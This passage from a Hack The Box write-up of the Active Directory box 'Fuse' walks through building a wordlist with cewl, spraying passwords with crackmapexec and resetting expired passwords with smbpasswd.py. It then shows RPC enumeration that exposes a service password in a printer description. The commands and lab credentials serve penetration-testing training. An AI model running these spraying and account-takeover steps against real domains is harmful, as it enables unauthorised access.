one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had tried NTLM relay in other ways before, but this was my first time hearing about ADWS.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=Blh9LAF92ro" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=Blh9LAF92ro&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I went through both of these. They explain ADWS relay, but NTLM authentication requires credentials, so this was completely useless here.&lt;/p&gt;&#10;&lt;p&gt;That left only the last option. I personally don&amp;rsquo;t particularly like brute force because it always feels like there&amp;rsquo;s nothing there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The weak-password brute force didn&amp;rsquo;t find anything either. I wasn&amp;rsquo;t planning to use cewl to build a wordlist because, after looking at the page, there didn&amp;rsquo;t seem to be much to extract. In short, I was completely stuck.&lt;/p&gt;&#10;&lt;p&gt;None of the techniques I had learned so far could get me any more information, so I decided to check the Hack The Box hint and see what it revealed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the hint. Did this mean those users actually had weak passwords? Fine, I would just use cewl to generate a password list and brute-force them properly.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I still got no results. At this point I had no choice but to look at a write-up. I had previously read OSCP retrospectives saying that you absolutely need to prepare good wordlists because so many places require brute force. If my wordlist was the problem, then at least this box could help me expand it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These are the commands I found in several blogs for this step. There really wasn&amp;rsquo;t much explanation: you simply need to include numbers by adding the &amp;ndash;with-numbers flag.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u user.txt -p wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Found two credential pairs, but both return STATUS_PASSWORD_MUST_CHANGE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\bhult:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\tlavel:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So now I needed to log in.&lt;/p&gt;&#10;&lt;p&gt;I started trying every available login point. Based on the open services, I could try RPC, SMB, LDAP, and WinRM, but every one of them returned NT_STATUS_PASSWORD_MUST_CHANGE.&lt;/p&gt;&#10;&lt;p&gt;It felt like getting the password was no different from not having it at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/" target="_blank" rel="noopener"&#10; &gt;https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog explains how to change a password remotely, so I gave it a try.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It kept saying the connection had failed. I was losing my mind. The message seemed to suggest it couldn&amp;rsquo;t be done locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118" target="_blank" rel="noopener"&#10; &gt;https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This is a write-up for another box. The author ran into the same issue and chose impacket-smbpasswd to change the password.&lt;/p&gt;&#10;&lt;p&gt;Following that lead, I found this: &lt;a class="link" href="https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;But the password hadn&amp;rsquo;t actually changed. It was still the original one.&lt;/p&gt;&#10;&lt;p&gt;Using the command below finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123!@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could connect over RPC, but after disconnecting, the password changed back again. I went online and grabbed a random password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:2x@oteL8YOJa&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //10.10.10.193/ -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password for [WORKGROUP\bhult]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;ADMIN$ Disk Remote Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;C$ Disk Default share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;HP-MFT01 Printer HP-MFT01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;print$ Disk Printer Drivers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB1 disabled -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now I could do quite a lot. (It seemed to reset once a minute, or perhaps immediately after a connection. Either way, it had to be one of those two.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Administrator] rid:[0x1f4]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Guest] rid:[0x1f5]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[krbtgt] rid:[0x1f6]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[DefaultAccount] rid:[0x1f7]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-print] rid:[0x450]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bnielson] rid:[0x451]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[sthompson] rid:[0x641]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[tlavel] rid:[0x642]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[pmerton] rid:[0x643]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-scan] rid:[0x645]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bhult] rid:[0x1bbd]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dandrews] rid:[0x1bbe]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[mberbatov] rid:[0x1db1]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[astein] rid:[0x1db2]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dmuir] rid:[0x1db3]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;No entries found!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;tlavel%9VwzPigFmknx&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The RPC enumeration wordlist appears later and can extract all information; one useful result follows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flags:[0x800000]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;name:[\\10.10.10.193\HP-MFT01]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I tried logging in to scan2docs, but unfortunately it didn&amp;rsquo;t work. I went back to brute force since there were other accounts above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 